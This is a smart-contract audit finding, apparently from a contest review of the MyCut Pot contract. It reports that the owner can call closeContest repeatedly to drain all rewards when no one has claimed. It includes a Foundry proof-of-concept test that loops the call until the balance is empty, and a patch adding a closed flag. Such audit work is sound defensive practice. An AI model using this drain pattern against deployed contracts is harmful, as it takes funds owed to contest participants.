Summary
The owner can claim all the contest rewards if there is no climants
https://github.com/Cyfrin/2024-08-MyCut/blob/946231db0fe717039429a11706717be568d03b54/src/Pot.sol#L49
Vulnerability Details
if there is no climants the owner can repetadly call pot::closeContest
which allow him to receive ownerCut
multiple times and drain the contest balance as mentioned in docs the owner take only 10% of the contest rewards
function testOwnerCanClaimAllContestPrizesIfThereIsNoClaimants() public mintAndApproveTokens {
vm.startPrank(user);
rewards = [500, 500];
totalRewards = 1000;
contest = ContestManager(conMan).createContest(
players,
rewards,
IERC20(ERC20Mock(weth)),
totalRewards
);
ContestManager(conMan).fundContest(0);
vm.stopPrank();
assertEq(ERC20Mock(weth).balanceOf(contest), totalRewards);
assertEq(ERC20Mock(weth).balanceOf(address(conMan)), 0);
vm.warp(91 days);
vm.startPrank(user);
while (ERC20Mock(weth).balanceOf(contest) > 0) {
ContestManager(conMan).closeContest(contest);
}
vm.stopPrank();
assertEq(ERC20Mock(weth).balanceOf(contest), 0);
assertEq(ERC20Mock(weth).balanceOf(address(conMan)), totalRewards);
}
Impact
Tools Used
Manual Review + Foundry
Recommendations
add a bool represent the contest status (closed or opened)
bool private isClosed;
set the value of the flag to true at the end of pot::closeContest
and add this condition to prevent calling the function repetadly
function closePot() external onlyOwner {
if (block.timestamp - i_deployedAt < 90 days) {
revert Pot__StillOpenForClaim();
}
+ if(isClosed){revert ();}
if (remainingRewards > 0) {
uint256 managerCut = remainingRewards / managerCutPercent;
i_token.transfer(msg.sender, managerCut);
uint256 claimantCut = (remainingRewards - managerCut) / i_players.length;
for (uint256 i = 0; i < claimants.length; i++) {
_transferReward(claimants[i], claimantCut);
}
}
+ isClosed = true;
}